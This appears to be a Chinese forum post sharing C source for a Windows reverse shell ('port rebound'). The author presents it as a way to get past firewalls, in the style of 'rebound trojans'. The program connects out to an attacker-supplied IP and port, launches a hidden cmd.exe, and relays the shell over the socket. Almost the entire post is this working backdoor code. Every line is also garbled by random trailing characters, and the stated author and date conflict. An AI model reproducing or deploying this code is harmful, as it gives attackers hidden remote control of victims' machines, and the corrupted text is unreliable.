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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;B"S*wYMN  
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/* ============================== %#7^b=;=  
Rebound port in Windows NT AT I2  
By wind,2006/7 "3NE%1T  
===============================*/ ]@sLX ek  
#include x4@IK|CE  
#include 1.j;Xo/+:V  
8#a2 kR<b  
#pragma comment(lib,"wsock32.lib") $yMNdBI[  
?w@KF%D  
void OutputShell(); jiLt *>I  
SOCKET sClient; Oxh . &  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 97VS xhr  
[JVUa2Sm  
void main(int argc,char **argv) T- lHlm  
{ >zv}59M  
WSADATA stWsaData; Y!CGuLHL`[  
int nRet; })ic@ Mmd$  
SOCKADDR_IN stSaiClient,stSaiServer; $ ?YSAD1  
%XZdz =B  
if(argc != 3) 0I>[rxal  
{ a]R1Fi0n  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9 N@N U:M+  
return; k #/%#rQM  
} s|C4Jy_  
EA!I& mBq  
WSAStartup(MAKEWORD(2,2),&stWsaData); \H.1I=<  
c(!{_+q"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5E\&O%W"  
ixo?o]Xb`  
stSaiClient.sin_family = AF_INET; Qx[ nR/  
stSaiClient.sin_port = htons(0); C.{z+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n0=[N'Tw3  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |",/  
{ v iM6q<Ht  
printf("Bind Socket Failed!\n");  Z_?r5M;  
return; GvD{I;  
} 1;y?!;FD  
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stSaiServer.sin_family = AF_INET; ?rv5Z^D'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9vz"rHV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~ny4Ay$#  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) HVcd< :g0  
{ uVV;"LVK~  
printf("Connect Error!"); ] _P!+5]<  
return; 8w4cqr4m  
} ,W~a%8*  
OutputShell(); ADN  
} G+f@m,  
VtC1TZ3-7  
void OutputShell() ;/.XAxkFL  
{ AP_2.V=Sn  
char szBuff[1024];  k/}E(_e  
SECURITY_ATTRIBUTES stSecurityAttributes; POc-`]6 <F  
OSVERSIONINFO stOsversionInfo; Q:!.YSB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M }tr*L  
STARTUPINFO stStartupInfo; CZ_ (IT7  
char *szShell; JGKiVBN  
PROCESS_INFORMATION stProcessInformation; IH0qx_;P&  
unsigned long lBytesRead; BF>3CW7  
3 ~^}R  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &5F@u IA  
7\1bq&a<  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R} aHo0r  
stSecurityAttributes.lpSecurityDescriptor = 0; <hbxerg  
stSecurityAttributes.bInheritHandle = TRUE; MUU9IMFJ  
RzLbPSTQ  
fo30f =^Gi  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #97w6,P+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f_GqJ7Gk]  
N_"mC^Vx  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); , H_Cn1l  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1]vrpJw  
stStartupInfo.wShowWindow = SW_HIDE; uyITUvPg[  
stStartupInfo.hStdInput = hReadPipe; m;d#*}n\p  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Jd>"g9  
/`V:;  
GetVersionEx(&stOsversionInfo); IT_Fs|$  
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switch(stOsversionInfo.dwPlatformId) W{2(fb  
{ Q>}*l|Ci  
case 1: I`e |[k2  
szShell = "command.com"; J 4EG  
break; +iYy^oXxw  
default: 7+vyN^XJ"5  
szShell = "cmd.exe"; &jHnM^nQ  
break; { f@k2^  
} ~L.)<{?  
[EETx-  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5ZkMd !$y  
k6vY/)-S  
send(sClient,szMsg,77,0); v&GBu  
while(1) 8s_'tw/{  
{ ovn)lIs  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^gpswhp 5  
if(lBytesRead) *MFsq}\ $  
{ T 6g(,xPcL  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O67.DEu^  
send(sClient,szBuff,lBytesRead,0); vUXas*s4  
} <e 'S'  
else j7|r^  
{ HJ2r~KIw  
lBytesRead=recv(sClient,szBuff,1024,0); P]4C/UDS-~  
if(lBytesRead<=0) break; BtN@P23>k.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )wROPA\uA  
} > ^b6\  
} gUoTOA,  
"3"9sIZ(  
return; U0/X!@F-  
}
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